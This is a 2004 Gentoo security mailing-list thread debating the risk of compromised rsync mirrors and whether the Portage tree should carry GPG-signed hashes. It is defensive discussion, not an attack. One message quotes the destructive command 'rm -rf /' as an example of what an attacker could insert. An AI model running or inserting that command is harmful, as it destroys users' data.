[-- Attachment #1: Type: text/plain, Size: 536 bytes --]

On 08 Nov 2004 03:41:22 +0100
Peter Simons <simons@cryp.to> wrote:

> (1) Run "find /usr/portage -type f | xargs sha1sum -b" on
>     the Gentoo main system.

What's the 'Gentoo main system'?

> (2) Sign the output with GPG.

Who does that?

Basically we do that already with Manifests, just that they
don't cover the whole tree (yet).

Marius

-- 
Public Key at http://www.genone.de/info/gpg-key.pub

In the beginning, there was nothing. And God said, 'Let there be
Light.' And there was still nothing, but you could see a bit better.

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

[gentoo-security] Is anybody else worried about this? (was: Trojan for Gentoo, part 2)

[Peter Simons]

Fellow Gentoo'ers,

I have to say that I am shocked by Alexander's posting. Once
more I am forced to recognize that there is a difference
between knowing that an exploit is "theoretically possible"
and _seeing_ the actual exploit implemented in under 50
lines of code.

Having said that, I am even more shocked by the fact that
this problem has been long known! As a user who doesn't like
the idea of giving up control of his machines to random
people on the Internet, I would kindly request a statement
from the Gentoo developers about this. Specifically:

 (1) Do you agree that this is a problem?

 (2) Are there plans for getting it fixed?

 (3) Is there any estimate how long this will take?

I have read some of the material Alexander hyper-linked to
and, frankly, most of it is outright frightening.


 > PPPS: I really appreciate all the very good work on
 > hardened gcc, selinux-profiles and so on, but for me,
 > this all seems useless as long as the base is compromised
 > that easy and the user has no practical way (e.g. hashs)
 > to check what he gets on his machine with a 'sync'.

I wholeheartedly agree.

Peter


--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Is anybody else worried about this?

[Marc Ballarin]

On 07 Nov 2004 14:14:28 +0100
Peter Simons <simons@cryp.to> wrote:

> Fellow Gentoo'ers,
> 
> I have to say that I am shocked by Alexander's posting. Once
> more I am forced to recognize that there is a difference
> between knowing that an exploit is "theoretically possible"
> and _seeing_ the actual exploit implemented in under 50
> lines of code.

Sorry if this sounds harsh, but calling this an exploit is ridiculous. If
this is an exploit, this is as well: "rm -rf /"
Just hack a portage mirror, and add it to some script...
As it stands, it is plain FUD.

If you download and execute untrusted code you are in danger. This
hopefully is common knowledge.
Wether you download an ISO-image, an update for Windows or a Portage tree
doesn't matter (not to mention the issue of malicous data, that can
exploit weaknesses in software...).

Either you can trust the source or you have to verify the data.

You can trust the source, if you know that:
(1) the server has not been compromised
(2) your connection has not been compromised (this includes routers, dns,
proxies, local lan, your local machine)
(3) the server operator is trustworthy
(4) the person that originally created the software is trustworthy
(5) the server operator's are sufficiently skilled to protect the software
(6) the person that originally created the software is suffciently skilled
to protect it

In the case of Gentoo there are risks mainly at 1 and 5, additionally at
2 and maybe 3.
5 and especially 6 are general problems of open source

However, none of those issues is specific to Gentoo or Open Source as a
whole. This is just the nature of a public network.

You can verify the data, if:
(1) a person has digitally signed the data
(2) the person in (1) is trustworthy
(3) the person in (1) is suffciently skilled to judge the integrity of
data
(4) the person in (1) knows how to handle the keys safely
(5) the person in (1) has not been compromised
(6) you have a secure way to obtain that persons public key
(7) you know how to use digital signatures

In case of Gentoo 1 is easy. 2 as well; if you don't trust the developers
you should not be using Gentoo.
3 is plain impossible. There is no possibility of a complete code
review. No distributor can do this, so it comes down to the reliability
of the individual open source projects. The person who signs the files has
to trust the original authors of the software.
4 is already difficult. If you have to sign a lot of files each day
you become sloppy. This is almost unavoidable.
>From an abstracted POV, a public key is just data. So for 6, we are back
to "You can trust the source, if:"...

> 
> Having said that, I am even more shocked by the fact that
> this problem has been long known! As a user who doesn't like
> the idea of giving up control of his machines to random
> people on the Internet, I would kindly request a statement
> from the Gentoo developers about this. Specifically:
> 

Well, I am no developer, but:
>  (1) Do you agree that this is a problem?

Of course. It is just in *no* way specific to Gentoo. rsync mirrors can be
compromised, but so does kernel.org, microsoft.com or any other server.
Digital signatures aren't used very often, because they are rather
difficult to handle, and can only solve the problem at one level.

> 
>  (2) Are there plans for getting it fixed?

Ther first step were those "Manifest" files, the second step were signed
Manifest files. See the portage-2.0.51 announcement.

> 
>  (3) Is there any estimate how long this will take?

IMO the purely technical issues have been solved mostly. However, those
are smallest and least important part.

Remember: All that Gentoo can protect against are attempts to manipulate
data on Gentoo's rsync or file mirrors from the outside. Nothing more.
They can't protect you from a poorly managed and compromised open source
project, from a malicious developer in- or outside Gentoo, from a
developer's compromised machine in- or outside Gentoo or from your own
mistakes.
So a signed Portage tree might improve security, but only against one of
many risks.

Regards

--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Is anybody else worried about this?

[Tobias Klausmann]

Hi! 

On Sun, 07 Nov 2004, Marc Ballarin wrote:
[... many valid points ...]
> So a signed Portage tree might improve security, but only against one of
> many risks.

Which should in no way keep us from trying to plug the specific
hole. Gotta start *somewhere*. It's not like Gentoo is a bad
distro security-wise (as some seem to think), nor is it secure
enough to just do nothing. Truth's somewhere inbetween.

Greets,
Tobias

-- 
export DISPLAY=vt100

--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Is anybody else worried about this?

[Alex]

[-- Attachment #1: Type: text/plain, Size: 373 bytes --]

Just a question : could it be a good idea to move md5 on another server
or to do 'emerge sync' asking for files on server A and digest files on
server B where server B is any server in gentoo rsync rollover but not
server A...

Then, person have to compromise server A and server B to get his hack
working...

Hope this help

Cheers

-- 
Alex <alex@ssji.net>

[-- Attachment #2: This is a digitally signed message part --]
[-- Type: application/pgp-signature, Size: 189 bytes --]

[gentoo-security] Re: Is anybody else worried about this?

[Peter Simons]

Marc Ballarin writes:

 > Sorry if this sounds harsh, but calling this an exploit
 > is ridiculous. [...] As it stands, it is plain FUD.

Let me restate the problem in my own words. Anyone who has
access to a Gentoo mirror can modify a crucial part of the
build infrastructure to execute arbitrary code on my system
and Gentoo does, as of now, provide no way for me to
recognize this has happened.

You believe this is nothing more than FUD?


 > If you download and execute untrusted code you are in
 > danger.

This problem has nothing to do with trusted or untrusted
code, it is about data integrity. Or, more accurately, about
_lack_ thereof.


 > (1) the server has not been compromised

How do I very this? Is there a list of SHA1 hashes of all
files /usr/portage is supposed to contain?


 > (2) your connection has not been compromised

How do I verify this? Are there plans to use a
synchronization protocol that authenticates the peer to rule
out man-in-the-middle attacks? This shouldn't really be a
problem because rsync is readily available over SSH tunnels.


 > (3) the server operator is trustworthy
 > (4) the person that originally created the software is trustworthy
 > (5) the server operator's are sufficiently skilled to protect the software
 > (6) the person that originally created the software is suffciently skilled
 >     to protect it

None of these points are relevant for the problem we are
talking about. If Gentoo provides proper means of
authenticating the data I receive from the mirror, I don't
_need_ to trust the mirror's operator.


 > However, none of those issues is specific to Gentoo or
 > Open Source as a whole.

The fact that other projects have the same problem doesn't
mean that the problem shouldn't be fixed in Gentoo.


 > You can verify the data, if:
 > (1) a person has digitally signed the data

So why is the data apparently _not_ digitally signed then?


 > (2) the person in (1) is trustworthy
 > (3) the person in (1) is suffciently skilled to judge the integrity of
 > data
 > (4) the person in (1) knows how to handle the keys safely
 > (5) the person in (1) has not been compromised
 > (6) you have a secure way to obtain that persons public key
 > (7) you know how to use digital signatures

With (1) not being implemented, (2)-(7) are pretty much
irrelevant right now, IMHO. Frankly, _this_ is FUD.


 >> (1) Do you agree that this is a problem?

 > Of course. It is just in *no* way specific to Gentoo.

What does it matter whether the problem is specific to
Gentoo or not?


 >> (3) Is there any estimate how long [fixing this problem]
 >>     will take?

 > IMO the purely technical issues have been solved mostly.
 > However, those are smallest and least important part.

So how long will it (approximately) take until this problem
is fixed?


 > Remember: All that Gentoo can protect against are
 > attempts to manipulate data on Gentoo's rsync or file
 > mirrors from the outside. Nothing more.

Then why doesn't Gentoo _do_ that?


 > So a signed Portage tree might improve security, but only
 > against one of many risks.

One risk less to worry about.

Peter

--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Re: Is anybody else worried about this?

[Rui Covelo]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1





Peter Simons wrote:
| This problem has nothing to do with trusted or untrusted
| code, it is about data integrity. Or, more accurately, about
| _lack_ thereof.

Security is always about trust. You have to trust someone or something.
Data, keys, servers, admins, protocols, passwords, algorithms, something...


|  > (1) the server has not been compromised
|
| How do I very this? Is there a list of SHA1 hashes of all
| files /usr/portage is supposed to contain?

Where would you store that list? In a trusted server? Would you trust
the server admin of that server?


|  > (3) the server operator is trustworthy
|  > (4) the person that originally created the software is trustworthy
|  > (5) the server operator's are sufficiently skilled to protect the
software
|  > (6) the person that originally created the software is suffciently
skilled
|  >     to protect it
|
| None of these points are relevant for the problem we are
| talking about. If Gentoo provides proper means of
| authenticating the data I receive from the mirror, I don't
| _need_ to trust the mirror's operator.

You need to trust the operator of the authentication server...


|  > However, none of those issues is specific to Gentoo or
|  > Open Source as a whole.
|
| The fact that other projects have the same problem doesn't
| mean that the problem shouldn't be fixed in Gentoo.

Agreed! This issue is important.


|  > IMO the purely technical issues have been solved mostly.
|  > However, those are smallest and least important part.
|
| So how long will it (approximately) take until this problem
| is fixed?

Well... I guess until someone comes up with a solution! Not the problem!
The problem is already known. Gentoo is based on the comunity. The
comunity has to come up with solutions. Not wait for highly payd
developers to solve everything like in some known corporations. At least
~ this is how I see Gentoo. Maybe I'm wrong...


Alex's ideia looks interesting:
| Just a question : could it be a good idea to move md5 on another server
| or to do 'emerge sync' asking for files on server A and digest files on
| server B where server B is any server in gentoo rsync rollover but not
| server A...
|
| Then, person have to compromise server A and server B to get his hack
| working...
|
| Hope this help
|
| Cheers

Redundancy could be a way to mitigate this problem. It wont solve it thou...



- ---
Rui Covelo




-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFBjkMQfLPhlaxNQk0RAvogAJ4o8042MBgvnqsp525orqXMfOn5/ACfR2Nb
5VmAOoUrvQAIRqmvg5khvB0=
=5aGG
-----END PGP SIGNATURE-----

--
gentoo-security@gentoo.org mailing list

[gentoo-security] Re: Re: Is anybody else worried about this?

[Chris Frey]

On Sun, Nov 07, 2004 at 03:45:21PM +0000, Rui Covelo wrote:
> |  > (1) the server has not been compromised
> |
> | How do I very this? Is there a list of SHA1 hashes of all
> | files /usr/portage is supposed to contain?
> 
> Where would you store that list? In a trusted server? Would you trust
> the server admin of that server?

The point is not to eliminate the need to trust some entity.  The point
is to have to worry about the integrity of as few entities as possible.

A single vulnerability is better than multiple vulnerabilities.

> |  > IMO the purely technical issues have been solved mostly.
> |  > However, those are smallest and least important part.
> |
> | So how long will it (approximately) take until this problem
> | is fixed?
> 
> Well... I guess until someone comes up with a solution! Not the problem!
> The problem is already known.

So is the solution.  It was posted a few messages back.  We just need some
admin to drop a find script on the main server and setup the required
keys.  Once the signatures are there, anyone can write the userland script
to do the verification, but until then, there's no point to write it since
the server implementation is not known.

- Chris


--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Re: Re: Is anybody else worried about this?

[Rui Covelo]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

| So is the solution.  It was posted a few messages back.  We just need some
| admin to drop a find script on the main server and setup the required
| keys.  Once the signatures are there, anyone can write the userland script
| to do the verification, but until then, there's no point to write it since
| the server implementation is not known.
|
| - Chris

Read Peter's message moments after sending mine.

I like Peter's idea. But the question is still, where to keep the public
key and private key. Yes, maybe it's better to trust the developers than
any mirror admin.

Adding to what Peter said, what about having the public and private key
changed periodicaly (developers come and go, keys should come and go
too) and have the portage download automaticaly the public key and
revokation certificates when needed from a single server? Ex: www.gentoo.org




-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFBjlWbfLPhlaxNQk0RAqfZAJsGaLid/8BzfXhQVbsNlLDKgfaUbQCggsW7
kc2rYAq3W0CdOCTgDYcQ0jQ=
=GziW
-----END PGP SIGNATURE-----

--
gentoo-security@gentoo.org mailing list

[gentoo-security] Re: Re: Re: Is anybody else worried about this?

[Chris Frey]

On Sun, Nov 07, 2004 at 05:04:29PM +0000, Rui Covelo wrote:
> Adding to what Peter said, what about having the public and private key
> changed periodicaly (developers come and go, keys should come and go
> too) and have the portage download automaticaly the public key and
> revokation certificates when needed from a single server? Ex: www.gentoo.org

Yes, I agree this is the way to do it.  Debian, for example, has an annual
repository signing key.

- Chris


--
gentoo-security@gentoo.org mailing list

[gentoo-security] Re: Is anybody else worried about this?

[Peter Simons]

Rui Covelo writes:

 > what about having the public and private key changed
 > periodicaly (developers come and go, keys should come and
 > go too)

GPG keys can have a built-in expiry date. You create the key
with a life-time of, say 6 months. When that time is up, you
have to issue a new key. This approach limits the number of
revocation certificates you have to manage, and the
administrative overhead is neglectable. (Assuming you don't
create thousands and thousands of keys every week.)

The good thing about this is that it forces the users to
maintain their key-rings, because the keys will just stop
working when the deadline has passed. And, of course, it
doesn't stop you from issuing revocation certificates
nonetheless.


 > and have the portage download automaticaly the public key
 > and revokation certificates [...]

IMHO, the keys should be stored on the public key servers.
Gentoo may, of course, run its own mirror, but reusing
infrastructure that exists is a good thing.

I wouldn't want the software to fetch/update/revoke any keys
automatically, though. Assuming everything is properly
signed and authenticated, it shouldn't be a problem. But
automated key-ring management feels wrong to me.

Concerning the "TODO-list" I posted: There is another step I
forgot to mention. Verifying the hashes of the files that do
exist isn't quite enough, you also have to make sure that no
files exist which don't have a hash, so that attackers can't
add arbitrary files to the tree.

Peter


--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Re: Is anybody else worried about this?

[Marc Ballarin]

On 07 Nov 2004 16:28:04 +0100
Peter Simons <simons@cryp.to> wrote:

> Let me restate the problem in my own words. Anyone who has
> access to a Gentoo mirror can modify a crucial part of the
> build infrastructure to execute arbitrary code on my system

Just like anyone who has access to a KDE, GNU, kernel mirror or your ISPs
DNS or Proxy.

> and Gentoo does, as of now, provide no way for me to
> recognize this has happened.

"Manifest"s can be found in each package directory. Problem is, they come
from the same source as the files they are supposed to verify. 

> 
> You believe this is nothing more than FUD?

The problem is real, the way it was presented, including tone of language
and the "exploit" is spreading FUD.

> 
> This problem has nothing to do with trusted or untrusted
> code, it is about data integrity.

This is exactly the same, at least in security terminology. Trust depends
on a person's moral and his or her technical capabilities.
In a security context, you cannot trust your best friend if he or she
lacks the ability to protect the data in question. A good example for this
are PGP/GPG trust levels. In order to deserve trust, a person
needs moral integrity AND a good understanding of public key encryption.
One virtue alone is useless.
The same is true for an operator of a mirror or a software developer.

> 
>  > (1) the server has not been compromised
> 
> How do I very this?

Not at all. This is why you can *never* fully trust your source. You
cannot trust, that this mail was written by me. Even if I had signed it,
you'd still need to obtain my public key through a reliable channel.

> Is there a list of SHA1 hashes of all
> files /usr/portage is supposed to contain?

There are MD5 hashes in the Manifest files.

> 
> How do I verify this? Are there plans to use a
> synchronization protocol that authenticates the peer to rule
> out man-in-the-middle attacks? This shouldn't really be a
> problem because rsync is readily available over SSH tunnels.

SSH is prone to man-in-the-middle attacks as well - unless you have
obtained the server's host key through a reliable channel.

>  > (3) the server operator is trustworthy
>  > (4) the person that originally created the software is trustworthy
>  > (5) the server operator's are sufficiently skilled to protect the
>  > software(6) the person that originally created the software is
>  > suffciently skilled
>  >     to protect it
> 
> None of these points are relevant for the problem we are
> talking about. If Gentoo provides proper means of
> authenticating the data I receive from the mirror, I don't
> _need_ to trust the mirror's operator.

Only point (3) and (5) can be solved by signatures.
A signature ensures, that the data you received is identical to the data
that was signed. If the data was already compromised when it was
signed, you gain nothing except a wrong feeling of security.

That was exactly my point. Signing protects against certain attacks.
Namely compromised mirrors and malicious mirror operators. Nothing more.

> 
> The fact that other projects have the same problem doesn't
> mean that the problem shouldn't be fixed in Gentoo.

Fixing it at a high level is of limited value, if there are attack vectors
at lower levels. True security has to start at each developer's personal
system, next are development servers and project management, followed by
file mirrors. Only if those parts are secure, a distributors measures have
any true meaning.

> 
> 
>  > You can verify the data, if:
>  > (1) a person has digitally signed the data
> 
> So why is the data apparently _not_ digitally signed then?

Because a signature alone is *completely* pointless, and the following
points are rather difficult to achieve.

> 
> 
>  > (2) the person in (1) is trustworthy
>  > (3) the person in (1) is suffciently skilled to judge the integrity
>  > of data
>  > (4) the person in (1) knows how to handle the keys safely
>  > (5) the person in (1) has not been compromised
>  > (6) you have a secure way to obtain that persons public key
>  > (7) you know how to use digital signatures
> 
> With (1) not being implemented, (2)-(7) are pretty much
> irrelevant right now, IMHO. Frankly, _this_ is FUD.

I was listing everything that is required. Every point has to be
fulfilled for digital signatures to be useful. If one single point is not
true, the signature is worthless.

> What does it matter whether the problem is specific to
> Gentoo or not?

Gentoo has to rely on the judgement of others. A trojan in the original
kernel sources, for example, would be happily signed by Fedora, Suse,
Debian or Gentoo.

> So how long will it (approximately) take until this problem
> is fixed?

It will probably never be fixed completely. Gentoo has basically done its
part. See http://www.gentoo.org/news/20041021-portage51.xml

One big problem with signatures is secure key exchange. This has to happen
inside the Gentoo project and between the project and its users. Both
cases are difficult.
The further problem is responsibility. A source package on an external
project's server is trojaned. A Gentoo developer signs the ebuild and
the source code. The trojan is discovered. Now, what should happen?
The developer has claimed implicitly, through his signature, that the
package is correct.
What do you do? Call the developer a liar, just lazy, or do you even
understand and accept the situation?
In any case, you can no longer trust this developers signature, in fact
you
never could.

>  > So a signed Portage tree might improve security, but only
>  > against one of many risks.
> 
> One risk less to worry about.

But a lot of risks remaining. When diving through a swarm of sharks I
wouldn't worry about the risks of car traffic. Still I would not feel
secure.

Regards

BTW: Don't get me wrong. I am not against the usage of signatures in
Gentoo. However, I'm not sure if the, IMHO rather small, security gain is
truly worth the effort and the possible social consequences (What happens
to a developer who accidently signed a trojaned package or who lost
her/his key?).

--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Re: Is anybody else worried about this?

[Barry.Schwartz]

Marc Ballarin <Ballarin.Marc@gmx.de> wrote:
> The further problem is responsibility. A source package on an external
> project's server is trojaned. A Gentoo developer signs the ebuild and
> the source code. The trojan is discovered. Now, what should happen?
> The developer has claimed implicitly, through his signature, that the
> package is correct.
> What do you do? Call the developer a liar, just lazy, or do you even
> understand and accept the situation?
> In any case, you can no longer trust this developers signature, in fact
> you never could.

Not so.  Either you can't trust the developer, in which case his or
her signature _can_ be trusted (within reason) as an indication of
trouble; or it's just one of those things.  Everyone makes a mistake
now and then, and no cryptography can stop that.  And at least you
know (within reason) where the package came from, making analysis
after the fact simpler.


-- 
Barry.Schwartz@chemoelectric.org    http://www.chemoelectric.org
     If nothing is beneath them, and they control the machines of
election, and if we know these things, then what fools are we who
accept the election and plan for another like it?

--
gentoo-security@gentoo.org mailing list

[gentoo-security] Re: Is anybody else worried about this?

[Chris Frey]

On Sun, Nov 07, 2004 at 03:40:34PM +0000, Marc Ballarin wrote:
> Well, I am no developer, but:
> >  (1) Do you agree that this is a problem?
> 
> Of course. It is just in *no* way specific to Gentoo. rsync mirrors can be
> compromised, but so does kernel.org, microsoft.com or any other server.
> Digital signatures aren't used very often, because they are rather
> difficult to handle, and can only solve the problem at one level.

This is incorrect.  On kernel.org, the signature files are in the same
directory as the kernel source tarballs, with ".sig" on the end.

RedHat's Fedora Core update mechanism checks the signature of each
downloaded package, and actually warns you if the check doesn't match
and asks whether you want to continue, which has happened on a number
of occasions for me.

Debian signs their main package tree as well, in the form of Packages and
Release files.  While I'm not sure whether checking this is automatic in
apt, it is possible to do with a separate script, and I do use it.  It
works quite well after a little setup.

- Chris


--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Is anybody else worried about this?

[Dan Margolis]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Marc Ballarin wrote:
> Of course. It is just in *no* way specific to Gentoo. rsync mirrors can be
> compromised, but so does kernel.org, microsoft.com or any other server.
> Digital signatures aren't used very often, because they are rather
> difficult to handle, and can only solve the problem at one level.

Actually, kernel.org *does* sign their downloads; their public key is
available on any of the major TTP PGP servers (from which you download
using SSL signed by a trusted CA who's cert you already have installed
from when you got your computer or whatever). Microsoft at the very
least uses SSL of the same nature, but I suspect they also use digital
signatures on each package to provide the same security; I'm sure the
public key was pre-distributed with your computer.

RedHat provides the same faculty, based on GPG, with up2date. Many other
distros (Debian, for instance), do not, as far as I know, address this
problem in any way.

So it's not like we're really far behind the 8 ball here, but this *is*
a possible problem, the fix is well understood and implementable, and
some people do already fix it (and, in my opinion, it would be negligent
not to).

You *are* correct in highlighting the conditions that make this
exploitable, but they are not all that difficult to achieve (man in the
middle being pretty simple, if someone has access; compromised rsync
mirrors having happenned before).

I'm not tearing out my hair over this, and I'm still using Gentoo. But
it's worth noting that this is a risk that should be addressed.
- --
Dan "KrispyKringle" Margolis
Security Coordinator/Audit Project, Gentoo Linux
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (Darwin)

iQEVAwUBQY5WZ7DO2aFJ9pv2AQKw2wgAnRt2Nr9835/eJmYVunFobnTzkOH8lYC1
F73s+i5iILZZd9Ljx0eo2B5+blATmcAcNQLkGmEfbjBK513OgZr0B+3bB2BvLVrN
m5S1h5VmHqST4n/IY0O1R4Kh8GZ8QHXyr91SEcsVtFLD+4Jiauqi9hamm8rI+P4M
Q72Ie1Kl6WIfDiqHAdfzYFenkFwNah/F3fkvWiosR2AHJbVSCXwcWiSAkZHXUaeu
XP05W7NEko/JjXmSeBdEEIaA2b3hjBC2PmVdTs8NmMDUgtbj2aQjE/FQfpIDotW7
puNPVlWVX5Oci6b21eiC65rmyiTdzI8BfoWot5tqSLsoUUHg8TbRBQ==
=xXwC
-----END PGP SIGNATURE-----

--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Is anybody else worried about this?

[Marc Ballarin]

On Sun, 07 Nov 2004 11:58:13 -0500
Dan Margolis <dmargoli@seas.upenn.edu> wrote:

> Actually, kernel.org *does* sign their downloads; their public key is
> available on any of the major TTP PGP servers (from which you download
> using SSL signed by a trusted CA who's cert you already have installed
> from when you got your computer or whatever). Microsoft at the very
> least uses SSL of the same nature, but I suspect they also use digital
> signatures on each package to provide the same security; I'm sure the
> public key was pre-distributed with your computer.

They do, but a self-verifying executable, running with administrator
privileges is rather pointless. (Of course, the user could right-click and
check the properties, but who knows this?)
Additionally Microsoft (and probably Redhat) have the advantage of a
rather centralised structure. They have tight control over their network
and
their developers' workstations.
OTOH Gentoo's or Debian's developers are spread world-wide, which makes
key exchange and evaluation of the security of a developer's personal
computer quite difficult.

> 
> RedHat provides the same faculty, based on GPG, with up2date. 

The questions are: What are they signing? Have they audited the source
code from which they built the RPM? What are their guarantees?
(The last question was actually non-rethoric ;-)

As an example, a few years ago, Microsoft shipped a MSDN CD that contained
a virus. It wasn't signed, but had it been, the virus would have been
signed as well.

> So it's not like we're really far behind the 8 ball here, but this *is*
> a possible problem, the fix is well understood and implementable, and
> some people do already fix it (and, in my opinion, it would be negligent
> not to).

I think that improperly used signatures are a dangerous placebo.
Developers have to be well aware of how to treat and use their keys.
Users have to be thoroughly educated about the meaning of a signature (ie
which guarantees it gives and which it cannot give).
If this does not happen, there will be a lot of dangerous
misunderstanding and - eventually - bad blood.

If both - users and developers - are informed, then keys *are* a useful
measure that makes operation of mirrors easier and more realiable.
But it still does not improve the trust you should have into the software
as a whole.

Regards

--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Is anybody else worried about this?

[Dan Margolis]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Marc Ballarin wrote:
> I think that improperly used signatures are a dangerous placebo.
> Developers have to be well aware of how to treat and use their keys.
> Users have to be thoroughly educated about the meaning of a signature (ie
> which guarantees it gives and which it cannot give).
> If this does not happen, there will be a lot of dangerous
> misunderstanding and - eventually - bad blood.

I find all this talk really strange. Basically, ``let's not implement a
security feature, because people might think it provides more security
than it does, and blame us when it does not provide that security.''

In fact, this *does* provide a clearly quantifiable security benefit, in
that rsync mirrors and channels of distribution (i.e. DNS servers,
routers, etc) need not be trusted. Currently, they must be trusted. So
this narrows the Trusted Computing Base down quite a bit, to get
technical, and anyone can see that this benefits security as a result.
Now, how much does it benefit? I don't know of a quanta to measure that in.

The point remains that this is a security benefit, and the only
arguments I've seen here against it are either that it's overhyped,
which is a meaningless argument and no reason not to implement it, or
that it's currently too difficult to do, which is not the case.

The reason it isn't implemented is becuase it takes a lot of people
getting on board before it works, right? Fine. I'm understanding, and
not terribly critical. But I think it's delusion to say that this
provides no security benefit; objectively, quantitatively, it does.
- --
Dan "KrispyKringle" Margolis
Security Coordinator/Audit Project, Gentoo Linux
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (Darwin)

iQEVAwUBQY5iD7DO2aFJ9pv2AQKlcAf/cUmSkPNnAj3v8XQ3YxE0fJ1ynVOuyAt1
k+yPrcuPuz7jk4/+UDAt5MOvVZpaHY8jhNlV5ACPhyp8Dldo6mFIIGHkOYLvIuhr
O//tmN0RMkySXw4Lal/nQVD31vSMFUrcpXxnKOSsDXTJ+FeO5lU8hKQAowkuw4L2
t3evkWzvhbDEON9/X0D68tZG1m4dpBxQty+MibPwdtJyZ8tZkcLwr+LXXU2Q6uUn
LGPd1KG3wx1faVkNhDFBMbYYWrLemGKnSXVr0c7wkllMJNb83QzbbBA0yvE42jna
IDlF4ndH3MGB/N3myo8pfFZTt8WpK+xmOSqTVjTNmap7ImHkIsnI3w==
=35tM
-----END PGP SIGNATURE-----

--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Is anybody else worried about this?

[Marc Ballarin]

On Sun, 07 Nov 2004 12:57:35 -0500
Dan Margolis <krispykringle@gentoo.org> wrote:

> I find all this talk really strange. Basically, ``let's not implement a
> security feature, because people might think it provides more security
> than it does, and blame us when it does not provide that security.''

I explicitly said that signing should be implemented! I only disagree with
the statement that it is a strong security measure or that it's lack is a
great danger to Gentoo users.

> 
> In fact, this *does* provide a clearly quantifiable security benefit, in
> that rsync mirrors and channels of distribution (i.e. DNS servers,
> routers, etc) need not be trusted.

This and nothing more. Provided you find a secure way for key
distribution.

> Currently, they must be trusted. So
> this narrows the Trusted Computing Base down quite a bit

In the whole, this bit is quite small. The code that ends up on a Gentoo
system comes from millions of indivdual workstations and persons.
Well organized projects like KDE or the kernel have strict peer review and
provide signed packages themselves. Others lack both.

> technical, and anyone can see that this benefits security as a result.
> Now, how much does it benefit? I don't know of a quanta to measure that
> in.

Neither do I. At least, it closes a central and rather easy attack
channel,  that could be used to hit a lot of Gentoo's users (easy once a
weakness in rsyncd is discovered).

But take a look here, to see how little this really means:
http://ftp.gnu.org/MISSING-FILES.README

This could have been used to hit almost every user of free software, and
no amount of signing by distributors would have changed anything.
As a consequence GNU started signing their checksums at the level of
package maintainers.
But this clearly shows, that signatures provide no real security unless
everyone in the "food-chain" does their part.
This is true between projects and inside projects.

Gentoo is almost at the top of the food chain, so their signatures are
only meaningful if the lower levels do their job properly and Gentoo
itself makes no mistakes.

Regards

--
gentoo-security@gentoo.org mailing list

[gentoo-security] Re: Is anybody else worried about this?

[Peter Simons]

Marc Ballarin writes:

 > I explicitly said that signing should be implemented! 

Then what are we waiting for?

Peter


--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Re: Is anybody else worried about this?

[Marius Mauch]

[-- Attachment #1: Type: text/plain, Size: 693 bytes --]

On 07 Nov 2004 19:51:17 +0100
Peter Simons <simons@cryp.to> wrote:

> Marc Ballarin writes:
> 
>  > I explicitly said that signing should be implemented! 
> 
> Then what are we waiting for?

Ebuild signing is implemented already (it's not mandatory yet though),
signing of eclasses/profiles isn't done because of policy details (e.g.
do we need multiple sigs per eclass, would a single Manifest for all
eclasses be sufficient, ...) 
But signature verification is a completely different beast.

Marius

-- 
Public Key at http://www.genone.de/info/gpg-key.pub

In the beginning, there was nothing. And God said, 'Let there be
Light.' And there was still nothing, but you could see a bit better.

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

Re: [gentoo-security] Is anybody else worried about this? (was: Trojan for Gentoo, part 2)

[Kurt Lieber]

[-- Attachment #1: Type: text/plain, Size: 1750 bytes --]

On Sun, Nov 07, 2004 at 02:14:28PM +0100 or thereabouts, Peter Simons wrote:
> I would kindly request a statement from the Gentoo developers about this. 

I'm a developer, but you should consider the following to be my opinion
only and not any sort of official statement.

> Specifically:
> 
>  (1) Do you agree that this is a problem?

As another poster already noted, of course it is, but it's not specific to
Gentoo.  What happens if the server hosting the master repository of glibc
gets compromised?  How do you know that hasn't already happened and there's
back doors galore on your machine right now?  That may seem like a
smart-ass question, but stop for a moment and consider it seriously.  How
do you *KNOW* that there are no backdoors in the version of glibc on your
computer right now?  

>  (2) Are there plans for getting it fixed?

We already implemented a major change nearly a year ago by moving
'rsync.gentoo.org' onto servers that are managed by the Gentoo team.
Previously, we relied on community mirrors which worked well, but didn't
allow us to ensure the servers were all held to the same high security
standard. 

We've also taken a number of other steps to mitigate this type of exposure
including getting GPG signing into portage and the creation of an auditing
project which reviews the ebuilds and code used in our distribution.

>  (3) Is there any estimate how long this will take?

n/a

> I have read some of the material Alexander hyper-linked to
> and, frankly, most of it is outright frightening.

Then you should immediately unplug your computer from the internet.  The
minute you jack in, you're accepting some level of risk.  That's just the
nature of the beast.

--kurt

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

[gentoo-security] Re: Is anybody else worried about this? (was: Trojan for Gentoo, part 2)

[Chris Frey]

On Sun, Nov 07, 2004 at 03:40:46PM +0000, Kurt Lieber wrote:
> As another poster already noted, of course it is, but it's not specific to
> Gentoo.  What happens if the server hosting the master repository of glibc
> gets compromised?  How do you know that hasn't already happened and there's
> back doors galore on your machine right now?  That may seem like a
> smart-ass question, but stop for a moment and consider it seriously.  How
> do you *KNOW* that there are no backdoors in the version of glibc on your
> computer right now?  

You don't.  But that's like saying there's no point in closing the front
door since the bedroom window might be open.  If the front door is closed
and locked, then at least we can pay more attention to the open window.

